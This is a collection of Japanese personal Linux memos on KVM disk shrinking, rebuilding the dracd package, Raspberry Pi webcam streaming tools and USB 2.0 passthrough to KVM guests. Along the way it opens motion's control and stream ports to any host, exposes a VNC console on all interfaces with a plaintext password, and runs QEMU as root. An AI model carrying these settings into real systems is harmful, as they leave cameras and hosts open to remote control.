Quantcast
Channel: Linux Install Memo
Viewing all 69 articles
Browse latest View live

□VPS(KVM)のディスク容量縮小方法

$
0
0

KVMのVMのディスクイメージ、とくにLVMを「拡張」する方法はよくネット上にあるがこれを参考に「縮小」する方法でもいいのだけど、実際「時間がかかる」ので、別の方法でばっさりやったほうがいい。

何はともあれ、VMのディスクイメージをいじるならまずはコピー。
いくらぶっ飛ばしてもバックアップがあれば何とかなるしね。

で、サイズ変更には「resize2fs」や「pvresize」とかが使われるかとはおもうけど、実際これをやってしまうとえらい時間がかかる。

なので、拡張拡大するならまだしも、縮小削減するなら

・ゲストOSのディスクイメージを作業用イメージにコピー
 (以下、作業用イメージで作業…なのでゲストOSは再起動してもいい)

・ホストOSで作業イメージの該当パーティションをfsckしてmount
・中のデータをごっそりホストOSのどこかにコピー
・作業イメージをunmount
・作業イメージから該当パーティションを削除(lv)
・作業イメージに該当パーティションを再構築(lv)
・でもって作り直してLVMパーティションのサイズを変更(pv)
・改めて作業イメージをfsckしてmount
・コピーしたデータを作業イメージにコピー(戻す)
 (ここまでで新しいゲストOSのイメージの「素」ができた)

・ゲストOSを止めて、fsckしてmount
・コピー後に変更があったデータのみrsyncで再コピー
・ゲストOSをunmountして、新しい素イメージをfsckしてmount
・コピー後に変更があったデータのみrsyncで再コピー

この手順の方が、サイズを大幅に縮小する場合にかかる時間が短い…と思う。
というのも、実質60GBしか使っていない500GBを100GBに縮小するのに、大きくかかった時間は、

・作業イメージの生成(コピー) … 166分
・データを丸ごとコピーに68分(VMを動かしつつ)
・resize2fsに四時間くらい!!!
・データを丸ごと戻した場合 … 92分
・そのほか、e2fsckに10分くらいかかるかも。

※参考:E5450x2/16GB/WD_RED_2TBx2 RAID1のケチケチ環境にて。

なので、作業イメージの生成はしょうがないとしても、あとは事前に「素」となるディスクイメージを用意して、rsyncでちゃちゃっと差分を反映させる方がいい。

なんにしても、時間がかかる作業なので、ディスクIOが速い環境をそもそも構築するのがオススメ。:-)


□dracdの再構築(VineLinux版)

$
0
0

dracdにパラメータを渡したいのだけど、/etc/init.d/dracdとかを編集
しても、コマンドラインから直接起動してもぜんぜん反映してくれない。
詳しく調べていないけど、たぶん rpc.dracd そのもののバグかな!?

というわけで、どうせ固定値で運用するのでソースを直接いじって初期値
を希望の値にしてしまう。

まずはdracdがいじれる環境をapt-getする。
続いてdracdパッケージのSRPMを取ってきて、オプションを修正して、
リビルドして再パッケージ化してしまうといいのでは?と思ったので
やってみる。

cd /tmp/
apt-get source dracd
rpmbuild –rebuild dracd-1.12-3vl6.src.rpm

としてきちんと正常終了する事を確認。

そしたら、改めて ソースを変更するために、src.rpmを展開

rpmbuild –recompile dracd-1.12-3vl6.src.rpm

そしたら、ソース本体を移動してdracdの初期設定を書き換えてしまう

> # ls -al /root/rpm/SOURCES/
> 合計 52
> drwxr-xr-x 2 root root  4096  1月 22 10:33 ./
> drwxr-xr-x 8 root root  4096  1月 22 10:31 ../
> -rw-r–r– 1 root root  1167  7月  7  2009 README.vine-drac
> -rw-rw-r– 1 root root  1299 11月 20  2007 drac-Makefile-1.12.patch
> -rw-rw-r– 1 root root 20705  8月 23  2003 drac.tar.Z
> -rwxr-xr-x 1 root root   962 11月  3  2000 dracd-init.d.source*
> -rwxr-xr-x 1 root root    22  3月  7  2000 dracd-rc.d.source*
> -rw-r–r– 1 root root   198  7月  2  2000 dracd.allow-sample

cp /root/rpm/SOURCES/drac.tar.Z /usr/src/package/

cd /usr/src/
mkdir dracd
cd dracd/
tar xvzf ../package/drac.tar.Z

で、rpc.dracd.c を

:
:
> // 2013.01.22 T.Kabu
> //long explimit = 30 * 60;      /* expiry limit (seconds) */
> long explimit = 90 * 60;        /* expiry limit (seconds) */
:
:
:
> /* Parse command-line options */
> main(argc, argv) int argc; char **argv; {
>     int c;
>     extern char *optarg;
>     extern int optind;
>
>     while ((c = getopt(argc, argv, “ie:”)) != EOF) {
>         switch (c) {
>           case ‘i’:
>             initdb = 1;
>             break;
>           case ‘e’:
>             explimit = atoi(optarg) * 60;
>             break;
>           case ‘?’:
>             fprintf(stderr, “Usage: %s [-i] [-e expire] [dbfile]\n”,
>                     argv[0]);
>             exit(2);
>         }
>     }
>     // 2013.01.22 T.Kabu
>     fprintf(stderr, “rpc.dracd initdb=%d explimit=%d\n”, initdb, explimit);
>     if ( optind < argc ) dbfile = argv[optind];
>     dracmain();         /* the main function from rpcgen */
>     exit(1);
> }

のようにしたらソース(tarボール)を作り直し。

tar cpvzf ../package/drac.tar.Z ./

できたら、元に戻して

mv -f /usr/src/package/drac.tar.Z /root/rpm/SOURCES/drac.tar.Z

新しいrpc.dracdを再ビルドします。

rpmbuild -ba /root/rpm/SPECS/dracd-vl.spec

として、



> 書き込み完了: /root/rpm/SRPMS/dracd-1.12-3vl6.src.rpm
> 書き込み完了: /root/rpm/RPMS/i686/dracd-1.12-3vl6.i686.rpm

と言う感じで新たにrpmができたらめでたしめでたし。

後はここから目的の本体だけを吸い出してもいいし、再インストールしてもいい。

rm -rf /tmp/dracd
cd /tmp/
mkdir ./dracd
cd ./dracd
rpm2cpio /root/rpm/RPMS/i686/dracd-1.12-3vl6.i686.rpm | cpio -id

そしたら

./usr/sbin/rpc.dracd

にあるので、元のを避けてコピーすればOK。

mv /usr/sbin/rpc.dracd /usr/sbin/rpc.dracd.org
/bin/cp -af ./usr/sbin/rpc.dracd /usr/sbin/rpc.dracd
chmod 755 /usr/sbin/rpc.dracd

/etc/init.d/dracd restart

とすると、今度からは

> rpc.dracd initdb=0 explimit=5400

こんな感じに表示してくれる。(相変わらず引数は反映してくれないけどね)

 

□RaspberryPiというかRaspbianで動くWebCAM監視カメラ(ライブカメラ)

$
0
0

WebCAM好きなので、RaspberryPiというかRaspbianで動くWebCAM監視カメラ
というかライブカメラをいくつか試してみました。

基本的にRaspbianにUVC対応のWebCAMをUSBにぷすっと刺せば、たいていは
一発認識してくれるでしょう、こんな感じで。

> Mar 13 00:26:13 raspberrypi kernel: [11539.274116] usb 1-1.2: new high-speed USB device number 4 using dwc_otg
> Mar 13 00:26:13 raspberrypi kernel: [11539.464441] usb 1-1.2: New USB device found, idVendor=056e, idProduct=7002
> Mar 13 00:26:13 raspberrypi kernel: [11539.464473] usb 1-1.2: New USB device strings: Mfr=2, Product=1, SerialNumber=0
> Mar 13 00:26:13 raspberrypi kernel: [11539.464490] usb 1-1.2: Product: USB2.0 PC Camera
> Mar 13 00:26:13 raspberrypi kernel: [11539.464505] usb 1-1.2: Manufacturer: Sonix Technology Co., Ltd.
> Mar 13 00:26:13 raspberrypi kernel: [11539.533959] Linux media interface: v0.10
> Mar 13 00:26:13 raspberrypi kernel: [11539.554342] Linux video capture interface: v2.00
> Mar 13 00:26:13 raspberrypi kernel: [11539.578225] uvcvideo: Found UVC 1.00 device USB2.0 PC Camera (056e:7002)
> Mar 13 00:26:13 raspberrypi kernel: [11539.586965] input: USB2.0 PC Camera as /devices/platform/bcm2708_usb/usb1/1-1/1-1.2/1-1.2:1.0/input/input0
> Mar 13 00:26:13 raspberrypi kernel: [11539.588939] usbcore: registered new interface driver uvcvideo
> Mar 13 00:26:13 raspberrypi kernel: [11539.588969] USB Video Class driver (1.1.1)

で、あとはこの非力なRaspberryPiを、安価ながら最強の(笑)ライブカメラ
に仕立ててみましょう。

GUI上でやるとそれだけでCPUパワーを持って行かれるので、コマンドライン
CUIで遊べるものを探します。

raspbianをインストール&起動後に

apt-cache search webcam

とすると、

> fswebcam – Tiny and flexible webcam program
> gmotionlive – A simple multipart/x-mixed-replace viewer
> libdecodeqr-dev – A C/C++ library for decoding QR code
> libdecodeqr-examples – Sample program in C/C++ library for decoding QR code
> libdecodeqr0 – A C/C++ library for decoding QR code
> libmimic-dev – A video codec for Mimic V2.x content (development files)
> libmimic-doc – A video codec for Mimic V2.x content (documentation)
> libmimic0 – A video codec for Mimic V2.x content
> python-libmimic – A video codec for Mimic V2.x content (python bindings)
> libwebcam0-dbg – Debug Symbols for the Webcam Library
> libwebcam0-dev – The Webcam Library
> libwebcam0 – The Webcam Library
> uvcdynctrl-data – Command line tool to control v4l2 devices
> uvcdynctrl-dbg – Debug Symbols for uvcdynctrl
> uvcdynctrl – Command line tool to control v4l2 devices
> minbif-common – IRC-to-other-IM-networks gateway using Pidgin library (common files)
> minbif-dbg – IRC-to-other-IM-networks gateway using Pidgin library (dbg)
> minbif-webcam – IRC-to-other-IM-networks gateway using Pidgin library (webcam)
> minbif – IRC-to-other-IM-networks gateway using Pidgin library
> pymissile – Control Marks and Spencer USB Missile Launcher
> qc-usb-source – source for the QuickCam Express driver
> qc-usb-utils – utility programs for the QuickCam Express driver
> uvccapture – USB UVC Video Class snapshot software
> webcamd – Capture images from video devices
> webcam – image grabber and uploader
> zbar-tools – bar code scanner and decoder (utilities)
> camstream – webcams および他のビデオデバイス用ツール集
> feh – imlib2 ベースの画像ビューア

と、いろいろ出てくるので、この中でCUIでも動かせるものをいくつか試す。

まぁすでに

『□VineでWEBCAM~時代は変わったな~』
http://linux.yebisu.jp/memo/389

でfswebcamとかffmpegあたりは試しているのですが、改めて。:-)

あ、RasPiに日本語フォントを入れてなかったら入れましょう。

apt-get -y install fonts-vlgothic fonts-ipafont fonts-ipaexfont

…これだと標準でIPAexFontになります。

・fswebcam

http://www21.atwiki.jp/snagplaces/pages/46.html
http://www.smiyasaka.com/fswebcam.html

apt-get -y install fswebcam

インストールできたら早速キャプチャしてみる。

fswebcam -d /dev/video0 \
   -p YUYV -D 2 -S 16 -r 640x480 \
   --jpeg 75 --line-colour '#FF000000' \
   --text-colour '#40FFFFFF' --banner-colour '#FF000000' \
   --title "漢字も打てますよ" \
   --font "/usr/share/fonts/truetype/vlgothic/VL-PGothic-Regular.ttf:12" \
   /var/tmp/output.jpg

以前はEUCでないとNGでしたが、UTF-8のままでも漢字でました。

・ffmpeg

http://linux.yebisu.jp/memo/389

これは面倒なので省略。motionをapt-getで入れるとffmpegも入ります。:-)

・webcam

http://www2s.biglobe.ne.jp/~sasihara/science/webcam.html

apt-get -y install webcam

インストールできたら設定ファイルを書く。

cat > ~/.webcam

----------
[grab]
device = /dev/video0
text = webcam %Y-%m-%d %H:%M:%S
infofile = filename
fg_red = 255
fg_green = 255
fg_blue = 255
width = 640
height = 480
delay = 10
wait = 2
#input = composite1
#norm = pal
#rotate = 0
top = 0
left = 0
bottom = -1
right = -1
quality = 75
trigger = 0
once = 1
#archive = /PATH_TO/live_%Y%m%d%H%M%S.jpg
archive = /var/tmp/output.jpg
----------

として、

webcam ~/.webcam

とすればOK。漢字は打てない。

・uvccapture

http://tomono.eleho.net/2012/10/06/3308/
http://www2.denshi.numazu-ct.ac.jp/mirsdoc2/mirsmg3d/osin/num0005a/0005.html
http://www2.denshi.numazu-ct.ac.jp/mirsdoc2/mirsmg3d/osin/num0006a/0006.html

apt-get -y install uvccapture

インストールできたら早速キャプチャしてみる。

> -v              Verbose
> -o<filename>    Output filename(default: snap.jpg)
> -d<device>      V4L2 Device(default: /dev/video0)
> -x<width>       Image Width(must be supported by device)(>960 activates YUYV capture)
> -y<height>      Image Height(must be supported by device)(>720 activates YUYV capture)
> -c<command>     Command to run after each image capture(executed as <command> <output_filename>)
> -t<integer>     Take continuous shots with <integer> seconds between them (0 for single shot)
> -q<percentage>  JPEG Quality Compression Level (activates YUYV capture)
> -r              Use read instead of mmap for image capture
> -w              Wait for capture command to finish before starting next capture
> -m              Toggles capture mode to YUYV capture
> Camera Settings:
> -B<integer>     Brightness
> -C<integer>     Contrast
> -S<integer>     Saturation
> -G<integer>     Gain

uvccapture -v \
   -o/var/tmp/output.jpg \
   -d/dev/video0 \
   -x640 \
   -y480 \
   -q75 \
   -m

・motion

http://www.bird-soft.net/mt/2009/06/linuxwebmotion.html

apt-get -y install motion

/etc/motion/motion.conf が設定ファイル…PostgreSQLはじめ、
DBともなにか連携できるらしい。

とはいえ、設定を変更するのはとりあえずは以下のパラメーター
くらいかな?

emacs /etc/motion/motion.conf

----------
# Start in daemon (background) mode and release terminal (default: off)
###daemon off
daemon on

# File to store the process ID, also called pid file. (default: not defined)
###process_id_file /var/run/motion/motion.pid
process_id_file /var/run/motion.pid

# V4L2_PIX_FMT_SN9C10X : 0  ‘S910′
# V4L2_PIX_FMT_SBGGR8  : 1  ‘BA81′
# V4L2_PIX_FMT_MJPEG   : 2  ‘MJPEG’
# V4L2_PIX_FMT_JPEG    : 3  ‘JPEG’
# V4L2_PIX_FMT_RGB24   : 4  ‘RGB3′
# V4L2_PIX_FMT_UYVY    : 5  ‘UYVY’
# V4L2_PIX_FMT_YUYV    : 6  ‘YUYV’
# V4L2_PIX_FMT_YUV422P : 7  ’422P’
# V4L2_PIX_FMT_YUV420  : 8  ‘YU12′
###v4l2_palette 8
v4l2_palette 6

# Image width (pixels). Valid range: Camera dependent, default: 352
###width 320
width 640

# Image height (pixels). Valid range: Camera dependent, default: 288
###height 240
height 480

# Maximum number of frames to be captured per second.
# Valid range: 2-100. Default: 100 (almost no limit).
###framerate 2
framerate 5

# Output ‘normal’ pictures when motion is detected (default: on)
# Valid values: on, off, first, best, center
# When set to ‘first’, only the first picture of an event is saved.
# Picture with most motion of an event is saved when set to ‘best’.
# Picture with motion nearest center of picture is saved when set to ‘center’.
# Can be used as preview shot for the corresponding movie.
###output_normal on
output_normal off

# Use ffmpeg to encode mpeg movies in realtime (default: off)
###ffmpeg_cap_new on
ffmpeg_cap_new off

# Locate and draw a box around the moving object.
# Valid values: on, off and preview (default: off)
# Set to ‘preview’ will only draw a box in preview_shot pictures.
###locate off
locate on

# Target base directory for pictures and films
# Recommended to use absolute path. (Default: current working directory)
###target_dir /tmp/motion
target_dir /var/tmp/motion

# The mini-http server listens to this port for requests (default: 0 = disabled)
###webcam_port 8081
webcam_port 8088

# Restrict webcam connections to localhost only (default: on)
###webcam_localhost on
webcam_localhost off
# TCP/IP port for the http server to listen on (default: 0 = disabled)
###control_port 8080
control_port 8089

# Restrict control connections to localhost only (default: on)
###control_localhost on
control_localhost off
----------

あとは実際に起動。

ちなみにdaemon offの状態で起動してみると、

motion /etc/motion/motion.conf

> # motion /etc/motion/motion.conf
> [0] Processing thread 0 – config file /etc/motion/motion.conf
> [0] Motion 3.2.12 Started
> [0] ffmpeg LIBAVCODEC_BUILD 3482368 LIBAVFORMAT_BUILD 3478784
> [0] Thread 1 is from /etc/motion/motion.conf
> [0] motion-httpd/3.2.12 running, accepting connections
> [0] motion-httpd: waiting for data on port TCP 8089
> [1] Thread 1 started
> [1] cap.driver: “uvcvideo”
> [1] cap.card: “USB2.0 PC Camera”
> [1] cap.bus_info: “usb-bcm2708_usb-1.2″
> [1] cap.capabilities=0×04000001
> [1] – VIDEO_CAPTURE
> [1] – STREAMING
> [1] Test palette YUYV (640×480)
> [1] Using palette YUYV (640×480) bytesperlines 1280 sizeimage 614400 colorspace 00000008
> [1] found control 0×00980900, “Brightness”, range -64,127
> [1]     “Brightness”, default -8193, current 0
> [1] found control 0×00980901, “Contrast”, range 0,95
> [1]     “Contrast”, default 57343, current 0
> [1] found control 0×00980902, “Saturation”, range 0,150
> [1]     “Saturation”, default 57343, current 135
> [1] found control 0×00980903, “Hue”, range -40,40
> [1]     “Hue”, default -8193, current 0
> [1] found control 0×00980910, “Gamma”, range 1,100
> [1]     “Gamma”, default 57343, current 1
> [1] mmap information:
> [1] frames=4
> [1] 0 length=614400
> [1] 1 length=614400
> [1] 2 length=614400
> [1] 3 length=614400
> [1] Using V4L2
> [1] Resizing pre_capture buffer to 1 items
> [1] Started stream webcam server in port 8088

こんな感じで起動するので、

http://raspberrypiのIPアドレス:8080/

のようにしてアクセス…だけど、IE8までは表示できないかも。

daemon inだと、

> # motion /etc/motion/motion.conf
> [0] Processing thread 0 – config file /etc/motion/motion.conf
> [0] Motion 3.2.12 Started
> [0] Motion going to daemon mode

としか出ない。:-)

・MJPG-streamer

http://armadillo.atmark-techno.com/howto/webcam-streaming
http://cozyattic.wordpress.com/2009/10/19/mjpg-streamer%E3%81%A7%E3%82%B9%E3%83%88%E3%83%AA%E3%83%BC%E3%83%9F%E3%83%B3%E3%82%B0%E9%85%8D%E4%BF%A1/

apt-get -y install subversion libjpeg8-dev imagemagick
cd /usr/src/
svn checkout https://mjpg-streamer.svn.sourceforge.net/svnroot/mjpg-streamer mjpg-streamer
cd mjpg-streamer/mjpg-streamer
make

できたら、

cp ./*.so /usr/lib/
cp ./mjpg_streamer /usr/bin/
mv ./www /var/

そしたら、あとは以下のようにして起動すればOK!?

mjpg_streamer \
   --input "input_uvc.so --device /dev/video0 --fps 5 --resolution 640x480 --yuv --quality 75" \
   --output "output_http.so --port 8088 --www /var/www --credentials user:password"

とすることで、YUYVモードで動かす。
(–yuvをとっても動くUVCカメラならはずしていいけど)

すると、

> MJPG Streamer Version: svn rev: 3:172
>  i: Using V4L2 device.: /dev/video0
>  i: Desired Resolution: 640 x 480
>  i: Frames Per Second.: 5
>  i: Format…………: YUV
>  i: JPEG Quality……: 75
> Adding control for Pan (relative)
> UVCIOC_CTRL_ADD – Error: Inappropriate ioctl for device
> Adding control for Tilt (relative)
> UVCIOC_CTRL_ADD – Error: Inappropriate ioctl for device
> Adding control for Pan Reset
> UVCIOC_CTRL_ADD – Error: Inappropriate ioctl for device
> Adding control for Tilt Reset
> UVCIOC_CTRL_ADD – Error: Inappropriate ioctl for device
> Adding control for Pan/tilt Reset
> UVCIOC_CTRL_ADD – Error: Inappropriate ioctl for device
> Adding control for Focus (absolute)
> UVCIOC_CTRL_ADD – Error: Inappropriate ioctl for device
> mapping control for Pan (relative)
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for Tilt (relative)
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for Pan Reset
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for Tilt Reset
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for Pan/tilt Reset
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for Focus (absolute)
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for LED1 Mode
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for LED1 Frequency
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for Disable video processing
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
> mapping control for Raw bits per pixel
> UVCIOC_CTRL_MAP – Error: Inappropriate ioctl for device
>  o: www-folder-path…: /var/www/
>  o: HTTP TCP port…..: 8088
>  o: username:password.: user:password
>  o: commands……….: enabled

こんな感じできどうするので、あとは

http://raspberrypiのIPアドレス:8080/

のようにしてアクセス!!

 

□CentOS6.4のKVM環境でUSBパススルー(PCIパススルー)

$
0
0

CentOS6.4をホストとしたKVM環境にて、仮想マシン(VM)にホストのUSBデバイスをパススルーしようと思ってあれこれやってみたけれど、結論から言うとCentOSではQEMU-KVMのバージョンが古すぎ(Version : 0.12.1.2)なので、USBパススルーがまともにできないということがやっとわかった。

まぁハードウェアをVM側で使いたいなんていうのは自宅サーバーでだけなので、ここは素直にCentOSでの構築を諦めて、ホストOSだけはFedoraで行くことにする。

ちなみにFedora(今のところ最新は18)なら、QEMU-KVMも1.2.0だし、本家が1.4.0になっているけどまぁ1.0より上ならOKということで、CentOSでがんばってQEMU-KVMのバージョンアップしてしまうよりもいいだろうと。

だってCentOSでがんばるとカーネルそのものもオリジナルになってしまうので、パッケージ管理の利点がなくなってしまう、というか yum -y updateしたらあれれーなことになってしまうことは明白なので。

…というあきらめのメモだけ残して、とっととFedora18で再度環境構築してみます。

※がんばってソースからコンパイルしてインストールという趣旨とは著しく乖離することをお詫びいたします。:-(

□Fedora18+QEMU-KVMでのUSBパススルー

$
0
0

□Fedora18+QEMU-KVMでのUSBパススルー

いやはや悩みましたよまったく…そもそもこの手の需要があんまりないんで
しょうね。自分的には、自宅で数台動かしていたノートパソコンをKVM環境で
なるべく一台にまとめたいということで始めたのですが。

でもって今回は、ライブカメラ用に動かしている一台のLinuxマシンをKVMの
VMにする代わりに、WEBCAMを当然USB2.0接続のままパススルーしたいのです。
USB1.1でのパススルーは意外と簡単で、WEB上にあるUSB-HDDとかPT2関連の
情報で「なんとなく」やっていけばできるのですが、USB2.0でパススルー
したいとなると情報が極端に少なくて、しかもいろいろ入り混じって大変
でした。

というわけで、今回はlivecam-serverというVMであれこれしてみた記録です。

http://fedoraproject.org/wiki/Features/UsbNetworkRedirection
https://github.com/ceph/qemu-kvm/blob/master/docs/usb2.txt

これやってみるか?

virt-install \
–connect qemu:///system \
–name=livecam-server \
–ram=1024 \
–file=/vps/images/livecam-server.img \
–file-size=20 \
–vcpus=1 \
–os-type=linux \
–os-variant=generic26 \
–network bridge=br0 \
–accelerate \
–hvm \
–location http://ftp.jp.debian.org/debian/dists/stable/main/installer-amd64/ \
–graphics vnc,port=5919,listen=0.0.0.0,keymap=ja,password=qqq1234 \
–extra-args=’hostname=livecam-server’

mv /etc/libvirt/qemu/livecam-server.xml /vps/conf/
ln -s /vps/conf/livecam-server.xml /etc/libvirt/qemu/livecam-server.xml
と、とりあえずテケトーにインストールしてから

emacs /vps/conf/livecam-server.xml

----------
<domain type=’kvm’ xmlns:qemu=’http://libvirt.org/schemas/domain/qemu/1.0′>
:
:
<qemu:commandline>
<qemu:arg value=’-device’/>
<qemu:arg value=’usb-ehci,id=ehci’/>
</qemu:commandline>
</domain>
----------

として、

service libvirtd restart; tail -f /var/log/messages

してからVMを再起動すると?

virsh start livecam-server ; tail -f /var/log/libvirt/qemu/livecam-server.log

> 2013-04-03 02:14:43.552+0000: starting up
> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=none /usr/bin/qemu-kvm -name livecam-server -S -M pc-1.2 -enable-kvm -m 1024 -smp 1,sockets=1,cores=1,threads=1 -uuid 298b8f1e-d32e-110e-f47a-1ba92345615b -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/livecam-server.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0×1.0×2 -drive file=/vps/images/livecam-server.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:62:5d:b0,bus=pci.0,addr=0×3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 0.0.0.0:19,password -k ja -vga cirrus -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0×4 -device usb-ehci,id=ehci
> Domain id=1 is tainted: custom-argv
> char device redirected to /dev/pts/1

という感じで

「-device usb-ehci,id=ehci」

をつけて起動してくれる。

ゲスト側でも見てみると、

dmesg | grep ehci

> [    0.554672] ehci_hcd: USB 2.0 ‘Enhanced’ Host Controller (EHCI) Driver
> [    0.554695] ehci_hcd 0000:00:05.0: PCI INT D -> Link[LNKD] -> GSI 11 (level, high) -> IRQ 11
> [    0.554737] ehci_hcd 0000:00:05.0: setting latency timer to 64
> [    0.554746] ehci_hcd 0000:00:05.0: EHCI Host Controller
> [    0.554765] ehci_hcd 0000:00:05.0: new USB bus registered, assigned bus number 1
> [    0.554962] ehci_hcd 0000:00:05.0: irq 11, io mem 0xfebf2000
> [    0.565318] ehci_hcd 0000:00:05.0: USB 2.0 started, EHCI 1.00
> [    0.565346] usb usb1: Manufacturer: Linux 2.6.32-5-amd64 ehci_hcd

おー、認識してるー!!

で、あとはつなぎたいUSB機器をパススルーしてみようとしたが、やはり
これも直接qemuにオプションとして渡すのがいいみたい。

というのも、

emacs /vps/conf/livecam-server.xml

----------
<devices>
:
:
<hostdev mode=’subsystem’ type=’usb’>
<source startupPolicy=’optional’>
<vendor id=’0×0603′/>
<product id=’0×8122′/>
</source>
</hostdev>
:
:
</devices>
----------

として

service libvirtd restart; tail -f /var/log/messages

してからVMを再起動すると?

virsh start livecam-server ; tail -f /var/log/libvirt/qemu/livecam-server.log

> 2013-04-03 02:19:44.230+0000: starting up
> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=none /usr/bin/qemu-kvm -name livecam-server -S -M pc-1.2 -enable-kvm -m 1024 -smp 1,sockets=1,cores=1,threads=1 -uuid 298b8f1e-d32e-110e-f47a-1ba92345615b -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/livecam-server.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0×1.0×2 -drive file=/vps/images/livecam-server.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:62:5d:b0,bus=pci.0,addr=0×3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 0.0.0.0:19,password -k ja -vga cirrus -device usb-host,hostbus=2,hostaddr=2,id=hostdev0 -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0×4 -device usb-ehci,id=ehci
> Domain id=1 is tainted: custom-argv
> char device redirected to /dev/pts/1
> qemu-kvm: Warning: speed mismatch trying to attach usb device BUFFALO BSWHD01 Webcam to bus usb.0
> qemu-kvm: Warning: speed mismatch trying to attach usb device BUFFALO BSWHD01 Webcam to bus usb.0
> qemu-kvm: Warning: speed mismatch trying to attach usb device BUFFALO BSWHD01 Webcam to bus usb.0

という感じで、起動はするけどスピード違うよ、となる。
まして、ゲストOS(VM)側ではWEBCAMを認識していない。

ホストOS側で

lsusb

で見てみると

> Bus 002 Device 002: ID 0603:8122 Novatek Microelectronics Corp.
> Bus 003 Device 002: ID 045e:00a4 Microsoft Corp. Compact Optical Mouse, model 1016
> Bus 003 Device 003: ID 413c:2003 Dell Computer Corp. Keyboard
> Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
> Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
> Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
> Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
> Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
> Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
> Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
> Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

となっているので、先ほどの「vendor/products」での設定を削除して、
別途QEMUに直接オプションを渡す。

emacs /vps/conf/livecam-server.xml

----------
<domain type=’kvm’ xmlns:qemu=’http://libvirt.org/schemas/domain/qemu/1.0′>
:
:
<qemu:commandline>
<qemu:arg value=’-device’/>
<qemu:arg value=’usb-ehci,id=ehci’/>
<qemu:arg value=’-device’/>
<qemu:arg value=’usb-host,bus=ehci.0,hostbus=2,hostport=2,id=webcam’/>
</qemu:commandline>
</domain>
----------

service libvirtd restart; tail -f /var/log/messages

してからVMを再起動すると?

virsh start livecam-server ; tail -f /var/log/libvirt/qemu/livecam-server.log

> 2013-04-03 02:55:43.370+0000: starting up
> LC_ALL=C PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin QEMU_AUDIO_DRV=none /usr/bin/qemu-kvm -name livecam-server -S -M pc-1.2 -enable-kvm -m 1024 -smp 1,sockets=1,cores=1,threads=1 -uuid 298b8f1e-d32e-110e-f47a-1ba92345615b -no-user-config -nodefaults -chardev socket,id=charmonitor,path=/var/lib/libvirt/qemu/livecam-server.monitor,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=utc -no-shutdown -device piix3-usb-uhci,id=usb,bus=pci.0,addr=0×1.0×2 -drive file=/vps/images/livecam-server.img,if=none,id=drive-ide0-0-0,format=raw -device ide-hd,bus=ide.0,unit=0,drive=drive-ide0-0-0,id=ide0-0-0,bootindex=1 -netdev tap,fd=23,id=hostnet0 -device rtl8139,netdev=hostnet0,id=net0,mac=52:54:00:62:5d:b0,bus=pci.0,addr=0×3 -chardev pty,id=charserial0 -device isa-serial,chardev=charserial0,id=serial0 -vnc 0.0.0.0:19,password -k ja -vga cirrus -device virtio-balloon-pci,id=balloon0,bus=pci.0,addr=0×4 -device usb-ehci,id=ehci -device usb-host,bus=ehci.0,hostbus=2,hostport=2,id=webcam
> Domain id=1 is tainted: custom-argv
> char device redirected to /dev/pts/1
> husb: open /dev/bus/usb/002/001: Permission denied

となってなんかアレな感じで蹴っ飛ばされているというか…だめ。

むむう…Permission deniedか…

https://bugzilla.redhat.com/show_bug.cgi?id=573850

ああ、これこれ。

emacs /etc/libvirt/qemu.conf

----------
:
# The user ID for QEMU processes run by the system instance.
user = “root”

# The group ID for QEMU processes run by the system instance.
group = “root”
:
----------

service libvirtd restart; tail -f /var/log/messages

してからVMを再起動すると?

virsh start livecam-server ; tail -f /var/log/libvirt/qemu/livecam-server.log

> 2013-04-03 03:00:01.395+0000: starting up
